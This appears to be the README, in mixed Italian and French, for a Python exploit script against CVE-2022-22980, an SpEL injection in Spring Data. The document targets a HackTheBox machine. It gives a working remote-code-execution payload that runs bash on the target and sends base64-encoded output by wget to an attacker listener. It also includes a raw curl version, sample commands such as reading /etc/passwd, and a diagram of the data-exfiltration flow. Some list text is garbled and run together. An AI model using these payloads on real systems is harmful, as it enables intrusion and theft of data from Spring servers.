
Sfruttamento di CVE-2022-22980
Exploit per l'esecuzione di codice remoto (RCE) su Spring Data tramite un'iniezione SpEL (Spring Expression Language).
La macchina espone un endpoint /search che accetta un parametro tracking_id vulnerabile all'iniezione SpEL. Questa iniezione consente l'esecuzione di espressioni Java dannose direttamente sul server.
Runtime.getRuntime().exec()http.server, , , )subprocessthreadingbase64LPORT nello script)Modifica i parametri nello script in base al tuo ambiente:
TARGET = "http://<IP_CIBLE>:8080/search" # URL de la cible
LHOST = "<VOTRE_IP>" # IP locale (tun0 pour HTB)
LPORT = 80 # Port d'écoute
# Commande simple
python3 spel_shell.py "whoami"
# Commande avec pipe
python3 spel_shell.py "cat /etc/passwd"
# Énumération système
python3 spel_shell.py "uname -a"
# Vérifier l'accès réseau
python3 spel_shell.py "curl -s http://httpbin.org/get"
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==
[+] Command output:
root
Se vuoi testare la payload senza lo script:
# Terminal 1 : Démarrer le listener
python3 -m http.server 80
# Terminal 2 : Envoyer la payload
curl -X POST \
-d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
http://<IP_CIBLE>:8080/search
La porta 80 è occupata. Soluzioni:
# Vérifier quel processus utilise le port
sudo netstat -tlnp | grep :80
# Arrêter Apache si actif
sudo systemctl stop apache2
# Ou utiliser un autre port
# Modifiez LPORT dans le script et testez
python3 spel_shell.py "echo test"sudo su Linuxifconfig (tun0 per HTB) e non 127.0.0.1Se vedi "Raw data received" invece di "Command output", il comando potrebbe non aver prodotto un output valido. Prova un comando che produce sempre output.
1. start_server() - Lance un serveur HTTP sur le port 80
↓
2. Envoie la payload SpEL via curl vers la cible
↓
3. La cible exécute la commande et encode le résultat en base64
↓
4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/<data>)
↓
5. Le Handler reçoit la data et la stocke
↓
6. Le script décode et affiche le résultat
Questo script è fornito a scopo educativo per le macchine HackTheBox. Usalo solo su ambienti che hai il permesso di testare.
Autore: Eliasdekiniweek
Data: Febbraio 2026
Linguaggio: Python 3